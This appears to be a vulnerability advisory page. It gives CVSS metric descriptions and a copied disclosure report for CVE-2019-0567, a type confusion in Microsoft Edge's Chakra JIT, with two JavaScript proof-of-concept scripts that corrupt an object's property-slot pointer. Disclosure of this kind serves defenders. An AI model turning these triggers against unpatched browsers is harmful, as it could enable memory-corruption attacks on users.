The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Edge Chakra JIT NewScObjectNoCtor / InitProto Type Confusion
Microsoft Edge: Chakra: JIT: Type confusion via NewScObjectNoCtor or InitProto
CVE-2019-0567
NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.
In the PoC, it overwrites the pointer to property slots with 0x1000000001234.
PoC for NewScObjectNoCtor:
function cons() {
}
function opt(o, value) {
o.b = 1;
new cons();
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
cons.prototype = {};
let o = {a: 1, b: 2};
opt(o, {});
}
let o = {a: 1, b: 2};
cons.prototype = o;
opt(o, 0x1234);
print(o.a);
}
main();
PoC for InitProto:
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, 0x1234);
print(o.a);
}
main();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Found by: lokihardt